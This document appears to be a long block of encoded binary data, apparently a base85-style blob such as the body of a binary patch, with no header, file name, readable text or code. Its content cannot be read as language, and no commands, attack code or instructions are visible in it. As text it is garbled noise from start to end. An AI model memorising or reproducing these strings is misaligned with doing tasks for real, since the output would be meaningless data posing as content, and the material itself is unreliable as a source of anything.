zXUDr&ynU8+c-o>cP~3aIDNQo>MO+mC>YDycS?GEx&4` zvTobp^s5|ab~m5Keaf4!${$xQDpZ0Sl*u?QoV|Lb>kvur_NB|;fDKM)#lHlfI%+Q^ zUTN$VceU3Xr2@_3g`q ztQU!ilAeB5^iijX+e?RiMT1IN$OyGwmQTLfP`2{Yc3Jy9qehebNkh_H5*hx!n`Ywu z*-b%T1M0{3EbT@$c-@F_Rsm{(fz7W!ugOt&9oFuqFF9sw7;Bz?E?I79k;l1mBLwy2 zq1{vSr||;wIj)CYLrn)ZJ%;)C$VoLSP3}IUAI})bKa=WnTj<%d#MK++R;~+k*giFG z&W!V+U_rZ1$-(D|T9WkLMZYeTE9hG-X=YhJDwO3##7dy$T$p((qhU_>!nO6+FQB;? z1hSty7h3FimhOGNh!x?1q+oX&sVam$|~M+Mn%~Nfq?~rX{Njp z@-lyPC7}nZ1xE0^WE&se4q0;i5!*3#lxnw7ab;y?QEL$*UfwC%&sH&!x1~nk57cFC zjfnQJM_b9tbD-O5pZt6k&$=I5;M!i6@j{eu+Q5PO?rOzpjA4{_lSh z?fy#&uoRa~;&|)tt<1la9Q>dETw}mhVyg}QB>wv>{uicpDek}I3XbpU)ZA!auA2 zH0palm5 zl(U8lyPvlA1)smkLY??$`toHK2KnTL-8VYs$)msY^x!0gy(8{(ekDp zvuUUEij*h;aZKsDt+iceqRa4FZh&rF`u5~3Ecohwb65h4HOc`#n-;Imn2WVR7 zhZmi50rxg7kXLi7{(AEMD!0I~c)aIEHxB5_IAsN&JpHU)i2{aeRVv>>W8Mlo5|2;rkusi@er$pU`BAa}e@{W>4=)UV!@dl3M6;ps z)N`RqHt@Y9M6f|Z{QsQm;34VM)CX5kL_^vtt+)tG~bubvph5qVcK z{K{Xh=Rf&a#>quVa;Xr9Q{n%PCM5nz-4d*jF5Lh7=XicwJ8wxcQJ>Zg1VK`beo( zr{49a9gIji{XQ(R7|3TyPzY;vwTpXge&-%p?)9^9Vwp*Tfz z*>uzivfocb;JXCz%YCK|mnKmS%6kknwmk0}5M`VE+lw120dt|l!NDv;Xhi@nJDqXx zo|_DEU5uJ*+PlvRsN?s)^0jIUGJ&wir@Pw@sUij7Qmzjz_VMPG>TtWCeJW z1LU+8XLTMSuEl@2X>BtVmFJ4wErf&*id`b2{-M1&($|@zNdESX_Qk`(*vD^^GxG!_ zm2TzSN#L6e1K8ZbI_^3#vG)26qejqo7Rtefm>rYk8<{Gg5k<9wXoloc-2N~EGc;SV{BTouV<1Q*vpGvKMPCLWxj=ooDH4=%j zQLAM{C}2y>d23{4t%K=?@dvB4<9FW`Rk0VSzYKU~iSS19#UvPUj7AoF@otn;e5KC_ zd`OHp(pv;GcWHSlTzVSO!HnIWy7Q91RthOIlsH7*DH&ER<IHQh9L+e2D0m_?n(($B1^Y28qMEQ!W=lfSdGuBEPEP zW{i5xvNwUnCY`<3dMR74gM~7q7!RwJEj%NOv>avYEZ9{>&}(1*mDNWdNu zJiK?d*|=(=R@~5y4pH9}XfmM4C4A`%R3N{;yq%ML>aG!^g=do?kF^sGm*uY2P4w%VRD)_JfM%_5dcXKpsb8@63CtFwg;gyH(xQ_~uwqp5VjnfYCe&eU|-5 z-t2)!AVho6F>Tm~2`%;{FgFL0=o8_ubO6?Rj`5j9<<3v%7>kWPg?q{LEo@UXjNHrl zfchCcqdEnyfyq^}89~xzRqa@@5@r$3gTVTd~X)Yc6 zzX0KVANPG9a+UrzLQ3+tN=@k6Wl15_n1ftj646#=%9x)3eNODw4y*B6W8F3pH7dm2 znRew1(a?ORE20io(3!Q8x5#7wQ*x&FaI=TVN!B}rjmn>!PKI3a(NM^DDw zGfn_NiE7q68i8a36R)`@E+Vlf2`pu3um`GEBW#2($TH&Zhl|C&WOSl2*1^|PcuNV9 zswIXUoK{WxeO@kXQSrz14#Yf>G||{@w^sEK|7v=-^=$cH(eum(R?zUbB=ZCOp>0&9hnQ(42m@^1}_g z-9c~nUE#DiiT~Ak@j&{B!jzwZCTeA$ruMm4Xjlw;RcCz7)Yv{0&t-84NTNZskb#NG zU0@)gDA!QB%QXNzFDYVQ*JKB!JALnSM`=wKkQEQLB_t5>#A<{P&?vq@amO=JxIeG1 zRda%Fu{8Z7+4ie3MS#XmHJ>BeK#AV&V6b;=L+SCejLyxo*kF(Hz$`ujFbd7FJplo@cw3n*8&$ zztk7*Rxy2#=U2+w}6mB*cnE4oEPz!UEbQ*_}$fx5y#bRgLqL)`uHlhwCRB~brT=a2@opkU(3 zB}PGiv;g2QpRagG7(}Bs}2YEv)cQXgI8SM{>dH@Yu+OG5c;n zo!e`8f)hAq;bY>ds}*QS%oVGEf#@It4?23~&-X3cisMxM%9|UAO+~@98LXif@s99y zNphg~37UU@UY@g9Q&KaWlQ&8*Xc z$LsXZ0&iDuB=jM_Cr18MV>oZ^ak=jEPyP{SlN?&Kw}PNV+`eGaS)>JtM(+1FY;Pr1 z`XmPhH&VHr23h~Lcl$TCZQ}c$)HTSN96Gv_n+geCzrVDH2t(lCqFwKEb?uE!m{!>x zl}qhlnFloUm6$&?b6)L=&8_fe8@&%q4?JF%wwYppdWmHrG#|aqgs&ozTow&VV0jiD zFGdO?3#Tw4*d7o)k;12t)U<5mOt-9EPE{UC!AArq%Zq$TA17rIe5__*dg{l&m^sW_ zjXf;V99zEN;`sXEquEqN!o<=itrRJ*WOdk*YZOff8sjQn*u_Dl zviEsxB^R?VzmDNq#dJ$^*bTZ~QOL)L`R~M|g5#e8{0XuEr#Uau$@3rz1I1l;_BA)A zapqIUu`kKR^JoIq<^=gY`iQDcBmmYGRr~_5Zg=8h;nw=jLow^KarJI4qg}jTl%PZ_ zxiR9~Yk1YwrNMc{>vbD9dMm9I&wL7E0pYFuhT^ zil^&Te!h$bg$IgXLsrVxrJHv!Dkn=dEv945C4R17L$XyO3Ajp?n=U{duH6#IQD~|m zZQLD!58WO*`M%nKyO55Bgb@3V^R^I0OqROcu(c;F@B3S~G|d%xW$gTR_atK{-@Cx% z%-KmsS^&^5YO-FiHR+(J1*8Tl2747MUAO#f;ywp;cxD9YbPCMf$>5WsZ=#?YvxfY z0lYAbzey`-kRBZ{S6>kz=W4iVg+*kiJWH-se$JVWh z&9Fc;P73OHT+O?6ykeg2c2mw8##)E5T*V0f{0s8uJ)}tL>K7%(P*Y@QKaYKz>hVqo zp_q=di;hj-))@L0D$6V2KJT*2hhZf;k#}YSL z=Ej%hT53BZfw+JQFVS(f2mq-y%hW1lG0=!ET$hm zK{QQ`^^qB7JlgW)0j@1^q=9QrpO-kNk9=H0Z@<|O!xlyZDvpv)8#vG!Xi&EtBAb}t zBoR>nZ-!8G;Md2cWP{+Q-PF_SnEytV7Ztg1Q0G*$#uM2Ar6$4R;Wb3hseC7Zfzy}p z3W7vJIC)GR<7iL0q#Oi_ym{Rm^{3A=g7<-rjdUL}(`KIs=XrZDR-s+v3Xm<2eNDZl}*=ustopu*zh8371)r4i&@j~Ls~ggei1S<-5a@A0f2 zScLC5PcewHdhO&=LV*RpLyJ@pbEA_asL2c?fxn#zH2N_4OII(u$-t^K`|?Bk1#w-mlRes~a1tGJ~AxOvVNd{as6Rp_jYt z0g!u-6`?$n<#ts5N}>XP8REz`f1kGWIq8+ZT`M8FKj;}La)FX4N#6U}*&A|l5KpWP z^l*3fU&NoK7i=PI5?pn7O@CNCEmj;6kee$v*^=z}cwJ!V?oxaBb2Q_#@&?DTQT?Wa zFA;B_Pe?-l;D{5~sgm4#UX6;Pz3_Q6$35rgFmvsK5*2#yM*9JbCU3TgM+(KmY3|)x)#)UWUT+bYWTKmR0#FK#7sWjpQKBv&Btv<)|1B?jJ z7|)iXBj{g!*Fbq=<=BD~u;nmkGzZJ*nj2ONEmmKe97|kJLvli`m^A&g4Oqg|zd3h2kat*d*~Ui{a%j;qg&wJS=@& zn-#dufG5J6IL@OG$GRvRv%4p9YUO>1glg<-O#E%2qT5d>@4w}_CIFNNO-OtQ(*@D% zN2R0Ic3k7I&nh+`1KYAhB05`k8p9_jAB}LR&J*%K*kp!WMV4B>Zd(s=DByXqrgz^w z5l#>}t!muCAh^3N0YposDM+qcsRGo&owU&&Z5v1Bb~V44qDiWleUC}yIVq7>_w80i zM*JK(e8=gd;<`z$$!ovrI03T$irwwzPgiv+RI%?1YUEa-x}P|#m*wBuD9*s1XyHe8 zLhsDs6#HtQ8fxbPc^fNj80B83D@=_S%6-hldadX+8<_n%a9+pCdWSDhvBx^=IKixf z+xqj1NuxYi`qB#evUA#|%|XL@2mT}XGRC~G9z!#g-f@38b)_>INu%$LYuyQx_lHTZ zk#AI-K1^W@IcMkKz*lZt7jFp@y$`DEPk$~#>w8!_&@Ax|ZO^Ylw?MHc)EPu8O2U$R z!+BgyP3^{=iv8azJ#X|cnREjDRNNt*cGhPb5p)-?l{N4>RiG5c7!@jkI> zicH5~1+rWzHJhTm6no!^OG$`raydC5&@fxW0UhogBp079_;!mnNo4%4oaVdG=a@@V z*0<`a%xoGr#Ctu`cxS|AfHgyo+`ZegAPF?wuf{=Z?uYA*ML=1E1PjFm%=MqRNG7f7 zT~GvVsFYuy`JU9LPN0V@7)_=7hYnOYKg~I=Z4aPdrFe?tg@?ii;6gFJ-s_N3{P@F6 zVlO#v#(UHwSL1-iCy~?%$zoC*i0V993TN>Uau<-Kz@#kUoX=)J8Q88k_{iRU)nvT< zmwj1HXD9K8`45w&Hb$>DfHK=JR;d@|S>QJ$*@pD(_JvXGeYVK(?iP*H(J)~X%$4gN z)K}r7$0FvtM>Pf{UU!~DcKsn?RhN2!etD7-k{4)is*>HkF{t$!7q%_pcl*xge}0)8 zg=eNTrb_A~-G+6?^kdUb)b`^R$}JyvlL}2;^SDFjfgMuxqD%fz(MjudEm?6|md6z_ zm-BGaRPIgxZtiw;NC`#%3DU)Oyc;HR`nq76gLzB>)M7~%#0Y!-$aZ>}ucYq<8s9e_GTA;y92iUx^+4DXoT-B$tFutBlUV0I^3n((z9%g>^X zT#bS1^sp;2ujKI^!JKfXL3a^<#1*9EjnAwGAD*XvBfCy2z93TTD3K|rt?1~=Tpis! zG_&6EAwyAqC|fVs%M{e8^?he~nCN_L{1JLL5X`GDC~hsC2nVVz3mx+BKeSV~+22uE zTsh=n`QUh>+9hJU-8d(kBr>*Wo-Tnwp!I~+S}t3!>6&kkd`0%caO~k9pQKgv%Wv|A zxGEc&L+q`C*d&CkBkwgqM+0X-USO!Cp*hUhd0;oYo?WEu>S^AB0FF{@voE-Qf9Y-PIHr;1A8EnB_zL$+x@rKu@^}A z4L@-?3Msb+#}0sco7JcDjbC#xH40=C-FREs>yy~M)>h0I6=nkQy=B5@p9{p;62ndz zd-(E*u}1V`GCj!^V=bHEK)GjB-+BelVs;?%g7AWmFK=vmXOVN2%>0Z;B5K^LGHa_-;dOW)EVF3ppIUUv^uHk{w86Fq~AZ?Bqq&_4TbxueK zC)GABd9tz0)sEaI#Vr-UnYGf$FbTP~4(x69m*y8?!B2SvU6QZ2o>??2b6%lA02CWH z>E2@>$vr!j!C!wO59fu-dI{s^fKuOk)`#%%Ndc( zoS)=5yL8)zTbdp2&#yglQZb2Je5McQ{diF9o1UH?%1mm>kd-a(H%wQOvX7lR>q{M9 z@a#14OzZSy$jc%r6Mc^?o=uCk(n~TYj2cAZmo+65jO|mSLN)rC} z|Mb^qG%pty@H0fAt=9~}nE%Gp{X28_U*z58uivSWO0xOud;j~B|NJyes2cwUEX_ADb?lnJ(Z33`md=E z|GuD1i(Os~1w{Kf=8TAU_ zE-efYPI^s`_j|LEQhW>>0Z^#u2F7b6o9_XD%u1r*7bElt&KFO%u`TSkhB@q7TRv%5WF)31 z)t&+gT^wZR5>w?>&t~hPgOkhe+l?N!7GddLqw}xod8@|zt|y+c87L_IWapjMPWG9> z9zeA@sK`z6>?Q%=MH>#CM$MMi*6`AcX7_YJth)Ba*``BT#`rZdh=$Xm|M#R;!1@DE zvSLC4_QZBT5Xl|B30#sT!J(-8O4@15n*+ZiB?s5}RC>JNV_bnvIhRK8SWoImNS zktAYoCcB@Qym<2=9~U3LjNp5aGWKjtcf&oo=)nWio3V)bB{#$KPe0$X zYtOenuI6&FL-JgHXwwwXw4gh(VcMTi>StOeO_TkhCo9kMJX?-!606<#|XsffY$484v_0Bin#aWXZ$vDdDsP1>z?uw;Tk`5)OV(m!fKUdEY%ZNc*M!M@O zWfG8n%x3`)?>@7%5M!0_ElM6CgEDC@G?g75!JQwiZYX;Luo@m>qtFmN*eSdrM8mP4`-jgw9L!bJby~cm3%miOiJ_1HL3mHdW`5P z8z)L%SWxiFy6$OmUqeVGuu@BBEQ8y8%l#lxOtbk84z%;+j=^teNa)L->nMMD9T!mh zaNDzfUq_d@@ec53fokOHFY6z6{S zHcAO4AEa)l@0PBS-@|8Bebl}XNtj=>6i-25!VctkZ}FiSvzx^fNWZ`P%Z(gd-Z3uQIyMaJNVIW6nYrgJmxVWKuLWwV|;-fX&Dp`fR$t!U@CQXe1Oc`(&722JbJ$*P5@CDsOu`ll~UueX# zln_ijX^eS#(_Iq1<~@9Nqi^1j2&B0586-0Pu4z;+w_kT3#>?K}rN6Wtqc`t_%gN6_ zF8}7#OARo_EnJr%USa3if(B1(U;**{1COf%fez~;NCZCFIM!4x>Ji|h|h{eLEZf0d;kyTxG|nh zey`7zu8|lw6$6F5j#Cax@NBD2;P_J*-du2(K;_CFF`rOthH6UjpMKZ z&08@f@IVDR-s}L0lDIR6pS?wz4C>`S2ky=tt}L_PxzUMaVRCF=8R+Y-0v*oml&h=R zuVICgW!85-K;gZXC4gu;Ycsd33@BpozdZjo{{I#kQ_{)S6% zMl+3+XICli6{ROHPN`+S(tuv#I=X4N=#$h{*M1`l8Jmo#-J;H7J%x)Xg07p3)t_z2 zPj~iq7Bt_QOS8kj5y!>Fb?-BG4Zq`uw+R@)kWG+@;*L5{KJRPVB-oK}$QaV8|I&42 zO1-aA5!epDm)n9=-V|dy=sPPaDn8hobO;l`&P0u~_qhNeNiOr;)D4o6S@Np)`#gAKaYbZp4fU)aK)1#-dyBCWYbsqbH9u?Glf@DOGGB#>P#YJzI z1z8*#&VDhImbWS?EiK)Wb5WnS3sgsdF0u$lzcp33H}<&}`}AxurS#Yb)A`WLx@W0; z(@b(GfT0Cl?{~$k^jj(|%5WRmO3_tOD#H#K(4l{XWvumMY?9oGiATi!vM|Mk8Z9p5 z`4AmQ@npbyfiFfm^yb)0@CG`@`?pLePX{Ro553d63VX(yiA7f41q1vp1{>-1F&F75 zHKbVGKL4Sw-OPzWfY^zg(OAh+WLr;vI;it$#}NYswhV$5qe z4!A*hts$OqOzjF4*%X6f2Wx~*hlt+KcikY%A_q%Y<-U?!EU$nKgMrl+(xbk*{|NRa zRs{vZws8b!0@-uFbs5x|ZQfK+-d*}YFCce4#>9Lq71jz5dCeJ7Sg_>+iiGDX{ij*S zafN(^9V|0O1nJh*#HB^fqJ)NUzJY|&n~n)zks_hBl-01VHksuP7WlV#%4E8P?ZDN0 zCBCjlr%`#PMLi%y!^C>DYSPy^4q@050TQ`{oj@km>u{#Atr;`vl*wbFLkFQ{WfW)v zmodNoMF)LEqW?r&>)LgM4o=A334PE&B<)iF^x&^ zGJ!?CR{*={HD~XRIe(=v=@^;H{j~M3Z0qoJ_aG~tkg4dzfN#KTH!OvzEVO>3sY7_+$x49TM{V zC{JWtK3sC#RKPr7lK~Qau&%eK?5OZrnyFrWyn!tZJJzm51U~5QP>#Eq1x?rexKbF0 zP!j)w>W-9~an+pUd(>-8e3kkBP2r2M=p+76_sV55&MyWHA@!LZTZs7_zLU(9TvUih zPgU`J`vjns(_59$&^ru_4o(4suu?q@|KS=ZyRW)y%NhQ_VD1+=Xm;Ble|bn-Akv`0 zn}}$q(OG{+l-Q+p`?;3jBQBHNFAckWpAJFh^JKgQ|oKA0~6Oe{s*5){-hbIFfVi`lUf*K1?Gsu8M>h36d z54F6ECSqdM|HJ+9(pDI@;Oti2wFfP*BP)58t8t6Dz~6ZCLW(-x*!#0zp~>o?IhPV) z3Aa(v*ImPo>D`F09Gv+#TRsf>UBjjRKn-)LKge4Bv>6Kzq!)nG3bGKhJ1V{TZZX); zWks3I-D48Yv8lpeOQ+5}e-^r{iwxO%N-)OzoCscPZB9+Ba{M{hs^9yL7i#NG~tPmEa{5_ZTR5N^f4Vl*v5Ds}Rrgs4St* zi`!f_;EWfNJ(Za$WuRbg)yJt3m%TWfS18VLO8;JCCyIexB`d=s8R}kI%c@a=!7<%#$1ld1Y7mpy;%6#985e5 zc!1$35n;9y67OU9w4$e0oMmKZDOCx|gpZv*!**-PSxmL&Hu@SFr@}RNQV)@47vHnI z;M%^_){ebNiiBUfYI~YLhJ;|BUJ%MSNdYfkk-eLA)&JiVqt#+G|2Q*L@`Y#*soL4P z%iX1N0S_f_;UT~*Hhrax*?^FF{=Bksjtfz-8;^!*|;{?-1CiP@TFXniH(@vN5Vfa)TD`U`*X* za0T#%+nUtkhN32fCdJF0af5t&RQspMbb)N#A?sw(_}69JA2XS*Kgzd?R+Q)*`ObXn zW++E9=xykp$Y~{ocYb}@sq~HAk9WF1TXDAg)qZ%A;hBLk$e}e3>GL-3$M4m&DfmX# zHqa+m>2r03s_gZr74-qJqM7HoM^;o!%xaF&-h02qXoHU_%_d4X!>Rna!HWK170JsN zSQz_fk~Jx$!&2jR8|PH8FPw(4!gdF|onFqxT6aso?8k}=IOTdOV{^)b`2Ik}74>DA zW-ASM{}9*a7mH?^Y`DjRl7@p=<%9r>(N(GJJTHs*UrMFwDoe-j?*yAa50;gXS$I@p zHHkk0=jy?W@lpLEzFU(t)BHx`r^W10^hoS(sea@N8v^8ybcR-ozuV?hfYYAyZdBs5T*w&q<=nM!6^Y7Y z*>kX^TGo#(eMCDI?mftSr!RC`{cxtoqR)O;pRKlD?hCwu0VEZS9+oi-g6;q6f7<>R z@((Cc-7mTGlopIQ7Vg8g5JA9bUTLWUy~1ldBDmlHBk?Zf)1&;;PCKFwdeqh*i1}JZ zpPQ%z&=MMIxc$))t#;!FD^F*C{U*s3{9& z2&vDKHj2~e00pvONPHo}-j)9J;vM2pRJ5pO+sIQi6=whWlt$v4<2_O)$H8+AI&Ayj?rdKJ(*Ri2mNm8 zl%C;Q{a(&NF7xUk=X>k{;+A81hoXlneLSyy;m+fSg*ovUjqF{OArTrUA95mXzV%#* zAKK5^0?v_kpFTKO?dEKFjM(eran9T@K2-Ngf%cPQR;9A|qiUxLpnWwp(@`y>1LBTQ5S&MOKz`tM|J@sFMF=U7z_@4VyKnh{k-U)5%|_&XZX>9lr}so zuIX4KNgzxkkZ)s2S&R^d0~yb?oSOOF!}WH;FAb$c6?(a8mc_MXpE^}`>k|?U`?(-#D_T>OkP3q`X6%Z+1j=5Y*Jq9PaSS#b+G+C`)b!pJ= zt~3^0KaG(m^zk>Dka$K^@f$ne`9pu$UYg7!)H7*_T&8q_cHh@0+z^b`G8=mlevmr) z{3EZq;IeY_h24}dSCvf^a1ZG|9BOlNy;TQ93*yh+>?iOZxyK^*Sj28lufydWnD4ns zr}AvM#GdkX<<&1EB5yp0q|SZkxKc}Xi2;k6dTWlDceL>q=Qxlm;7zLO&7AyzYiEpo zShPE83)o~M49?@2cDnr-=cfr*=AmH+?w-Y>g*t{Ve#~%Dkl|t|y>3Mw)`a03n6OAp zv$a0o1Z%C$*h`~UYgHH#LF8QhB2Bj=qjUp%*G=o(ACl-06FlTwm+siU{*bqwOiXVD z8pMGU-8C}HT4w)XXnBZDM?`LWBvOOwS-^w)nuR)a^6O^!Rs#M{W_`|dr>wE6iml?? zUk+)$=G2@l5C&N#zwVK9b{$phP(|(X1+9Om=y*0zFux;Ut~P8pnUK>wpsy&9i`m4E zrOJ;z%h#Y`BDL#srz&*++feyYu}B&IuCrDKL4$_L}s%MsH| zCSx}2=@&64b@!Ji9h}EDW0-s)((FS{%`&|D7gZXbGE!j!<>1!mtEp&MNgd|JBAdIk zs0^4bT&iVEX!9jo&*x2d;`NZjb1u|RlXxiZ2cqw~q946C@dqe*mbJ*a`jV(>o)%-IVN=Y$7yEt5l|ZLQcPOoWE<~WU^QmGcZ0^&!awtNY3P;9 zH7f#1j{AL;&Kt4&=^X8#{$7#m9y{3qv3uHGW^N{H+G)V1A)_%jyX!J8D?SxKGDQ!` zBptZqp_+3isGoDjJq@E)PW58OCM3**O`pb#3zaSZhCEWKE0o-+F)lOQjZ46fb{ZH@ zyqd1&1z`TH`U`#kU3Aa(FW1IND-phs`n~d&bM2td#v>0EF~<< zv61H~6^OV^S8;kKvR~Rx;+K}^NS{`{1c52)s9ji6y@rmyw&ePOMWY^jo+{T>=T|Yk zy2pIxEb@KbTn=Hw5ey`#?oDEww~FzRxoml#nL3(~DB54#xRcMT_}Ku@M#{U7fkKS&ECK2*I9=?)`$KA*-S z#fxvg8qXXIC>{d^?ZJalph3bTzgbO?9zcka$O}SyA`}Jpu-d_*-PVS_ z>uQ|Yu)!41lCJbQJi{kC%;-`V`Mn>neN>;-k82Mcny8hp5eN~KaaAkv&T&X}4AK~zcvBqXFnx;qV8 zLg`q5h;(;@bjSi}SagSkbo0#x-tTk!ywAP&`{VoZjc@NU91L{GVqWu_^Niy>&f`ow zN}Kek1soOW5QY~oieH0nlCA#10kou^dkco-J>mAS9ggte1=-HpFp-hH}V?l%^OqUS}7mFT`f&}s@qpbSJnD09ZRI=8j+ov zV9~KifObdKLX~95y3zIcts_!CXR(|Y!}@Y@(ry{n!#f?jusMOp-*-k+-t=w;f-bSf z>Q);>k*QC2cCYD$0h+T-mU*y>sEFv~EU>2#ePy^6mq=UR2Q!_- zoz;qF?KOAvt|b>SlTM3w0@d>Us3K{sOF(Y8Wil@>nP2E_vTO#a@ucePs2KJRBHG;Y zl-&9Gb&sTZtkf)U$TS-3NQhkfY=@y~ct5o)Z|zrK705%91#CUH6h$8-en4O_MUHUa2z&EP5;!0!d#x|$avz(!KH|y4x((|! z-uaZ?Lm5%d%+`&n{rtY6{JvDY(-PE8XSq2=KL1jD`8Zs)-FPyj#7u)Y&t#FPet4L` zb;PLWaRNrsdYw}Z;C4QRJ`u5Ff@#Tf@YL-L4n3dZFkkOV`S8ro>HxZv=cxnc_~;pW zGxMHX>|Gk;d~anZ`RimNgOGe?D^2#2c;@hR-S)>n zpG1)@jm6uR`K>;of*dYPp^#n3vUdK++S~TieJU} z>qc#GT)x2erx3Gyi91y`K_~ZO2X~V3crwjBv2CNjYz?$z6Q7=e4zK1c zBOI4fZTSIZAR|<0Rb3zBN2uZ@RK*kEqVwWWTSYwCYRnfMD4~ z!k#eot@NHqXPzz35l@-QA@!uAMb|0%HoM8vw4+@rSPUi0Z`XMx)qM-o7vVZLYEzA- zTs>LdGw0Ofa;v(fxNB-Dtyc^r$1L#ATR2-Ab0+31(6+)};m&bDycOGFwZ5tl{ z!w#+ZFX3Q%cF2fANY!!Tt9Kz*c(G&M!`RX9CI_AmFXrK3>iDkdj4=;!sKsl~ecE+{ z!56pYJh-6t_7>D*W6Pl07h*Hf%2F<`d_#Rw7aIP}m~{60AobiV6U17(e9mAgZ~rTh z_hbK=HFe;YWMdb(FqdH$d28teyfw3WmhXiO&4uPk7Gz5Xud+a9v*+?K%|p>XI3P6m zLN8js_0W zLheY5tCs2&d!C4y70sgEcqwc45>l{3rA4n%^kdKL6TVID6g80zjQ|*~oYxzwYGrG!JqO&?n12G{$z}I`^q-{7M z_%1@4JVLgPF!f~mOj3Wri24SA<3Xcywf zw#+TStztEm{%ZA#=&X6nLy+JbfA zc9U(Od)|53MEg*8Y`Jb9KJ0r?y4HNZhI~M0qM|YdW&RucbTQ#pxAtoG1{WV2-3sDb z5|14vR&TOT5-F@T{iS)uaZqBXQx_hi@O|eXg<0}qY|)~RzsHAMfaHMx@tS7aQFS=1 ztcX}G$=GnLbgp=z%9NZ%={&gzcSg3Ty#h^Q6xt4-W-#* z_*z2sFywX+q4f3T5?V54zKMEE?I6N<*{2UhCk~#m;-NOg3y7jKRe>pZ zJ*Y&o`o9o`;d9vM^JU87$MLC~4)q<*Q*!k(7MlmAf^x_Z*Zjvj=iv0rxH`_dU7end z-yM!afF_LsnJ_+LRFqZBBBK!jErsto+XE)+Ji-sV&^G-dH@yzXa_PM>(deg01j~aC zaDHNLs}2K2Jf@d+-{D|z6}A&>^S2~`^ix`0=gK?koXm%U0k<;9Kvag^|FQpK1YZFU z!6&ZbaQy_V0dcZ?6apHCmsw(|_tM7PjJB$hgd@adf5{tyO59P?rv&`2IH1#2w7P4D z4mo^S!CXTcZw3pY5YMMT94iWNtZdLIES`28$u5wAsHR%48@e{{ZN*@2x;a@ZNE%d_ zp2P}D@^^F4Rv%W#&5x>dgTPymnEr|+;1MM9pMW#$- z$dfL9TlfR%==LB3Z>!aCtUM1r`Cj9qp2y)ZjMlfs4}u?q*w^9*{CNBuw-X7&~l#Z5fY6XU~b|ftEJQ2DCm)iypc*Ca~ zOG8e^JD@EU$3j%a>MyhbhPy+t!8tydmO544I;5J%SeCM9+_lIuklh7%lf??0|rEPmcD za8!4#du1?Nx3>-sCq2n}>K!e)*E>$muJ61BOJVYB=HMPA*NuHl?%EcMXqmY<^$0oF z&T?{N9Z@=PIUH-5qOwqX+)=l+uUt>-KP58$gl(5$XEi}B<`!y#JG_*iZ>pCsZ!VjpYQWs^2=uvc%KTwx} z%_tVxWD{ly6nL}^jPiw|G|vH+Em(f0JSgPF7R?ECy&&9)I3ZE|yIeEVzFPJCN)6P8fe7M2zmyrL-O{Y?Zl>-rj zHOBa%B!0U^sY$53i`FgMz7o21&K9Tj6#G0TJ@fB!KLY6$?_Gxsu)^a^-O#>opLN^w z@_S7l`oql)=7`n8i>txWS<#H%cS#;IaUz8DYM!5YoqE!%503hV7DVr}spJbXd zn3tkMv^@4*ymnloxrK4G_U8W4Qd-HbNYx85^q7?aIoOG~{UGMNucU^vEUi4yM(0}@dn7N_2CrB#?N;m@-Cnr<* zC!j;q+)6_Or4;DLX1wE=-vHw$tiOaNF#i{GuFf6w381NYX6w~^@XQ~HQQv}Oh&D5o z7Aj3@1deTsA&wC|*05Mfz+&OCkVcf5)fErb0StcGU3@d ziV3qb8L!}!+Dl%2q<%o=(_aZF5#|n6$|q~0pghMd=MhG?mEpeXwnnbmg0Cnvvrv(~ zmxK6IqX5V)gjn`uw^cOBmiF62N^>^M?MPp-Q-0sWS8aq5e{E7A)`fzrA0B;=EU6zHbb5T0kp5b??CG{CJcCqVy~iuNox69}jREw? ztYVG|NUP1Qr`LxUpQ_=A+{u~RPJXX&=f1_K)^{lnK0Q@GU!+dEtrRc`mm5xfl(@R7 z%73pbiUo7K3ftcB=se1PqP-KQbR~8mwty~%fV!J8?t`jz@^%-V=HFSw)0AP6b6u)9 z|GA?Vu%MU!B2RmVir_sv6ubBudYXUg)qlV-0p|1ESqut4*l1bA_nRqy0zUC{Nv#-4tY1J)Pz z4^m8Ep~68RmO`YuU~hXg2YX5W^|Q;@!N)FNfA@j)?~C~tPh1T7HxVCv0(um-;eYJJ z`|IKU^|8Md#Ssi_@0wiM*Ep9s-2axi{eOSkf8)RZ+fD*)4XbO~sx})JJ(?F~DGM|N za=mdY$X{D#{rnHA;s15cmw$7CAE2Kf#d0QGd^~@#Z^e$U z_@$F6O8m%hrKMgvl0}w?Rq;8wRXn5D_@;}COz6G6I2MCs#`yE|_P48+^)~=x`;9ow zSLXUd=KTwg71@bN7kPyX&YoKT1;U&9n>qR1j$D!u+!AiUyk25=+F(=H)B8MXDEC!! z>kxUrvoo@9w?9qZK+-p%V;ggO^p|kRK_4lfwKtiNa~O9Wyxmk+wA27^iPZA-=GUI=7fNP2a&eg(Fh#K$pTNgT_MUllcBLP# zq#P>*u*N=k(;dU#B+F(-!uBZA5(r;`3QggdVI~+WB-M`V+dpRmd@zHLNz-o@hN?^@@H;WC2^@?+bL={>`elBwnRE*6 z_A;!SqKhw78Z=P$h53H)zJKc$ZbVHztzbH-6^#tBomNN^fiBF? zOZD~gzjayc>_k(yu_@Gju07!!Vds%oWUlPzs)i4Vu~iMgTKpc{^h8#Mq4Fc&9NobL zIYX!a3*Sr#Mdy(sR=Le2cvW`n5aiT(m5%!_e8fF;Cp-K6C`G5 z=9QWIO7_UM%kdbH3cfcA@08&Tao<37Hq!qSU{T}v99>`UB!BP{Qf)u`b#kid3=e;& z{U$3F#6QGF<7}X;FJkMh6cGoKn2QU4JkL6Der$7onInOjJpbv6oumb5%LQqtS(=r~@Fx71e@K1x+O z^ng36j=%T@V`TUhM@q1tNLsm|+zAG)E8k7&k4-2YNAgmXmaaCt$(IiFlL)N(ZCyOo zkRimyN#`euXZ{#US{;=W1rBD_Yxg~OzV~}RIuo?4|1vQWq(o?H8dbEqx<7o4hCz}J zOzt>et|LFu$5$n3G%ygPjnKUfS+7p%tl<#_h{nXKP3^y+2%ot75Cq@pQV`-#TG(CN+&jHE zKkyp;hI3Hh(G4Fht5Ve@HjWB0cDepeBPm?rmG0pz(HTbwsks69x{01V$#4M`+Qm>F z=|;lf^DT|H@}+D=WP1*s^HiOAH+J9Qd2au@wJ(Y$qHp0AuW=R^9qDr7vBwpq%k^Pz zCBCgL!H#mxMxqCTsqOhg@50Z|i#eCBGn38JxN)xGyw-eSC$vEWD-xsXSCy`}m ze8-$4(!-{6|5k{^$C3~9NZxlm8ip**+uk38xlS;BF!TMN+#faFrN2XBdJ6%;)qK|z z#|SZ4&kT{yhG4Z(?O3^);EURy8b*F?@^v8#1lS=ceW$QjnN6cWFk9-TLAutGV1{aN zfbB?Ji4SS1*U{!hgg`E*5~Mc{&-!*KDP7BF617gQMYAcx^qT^lLnF^hWC#(Y!XM0C 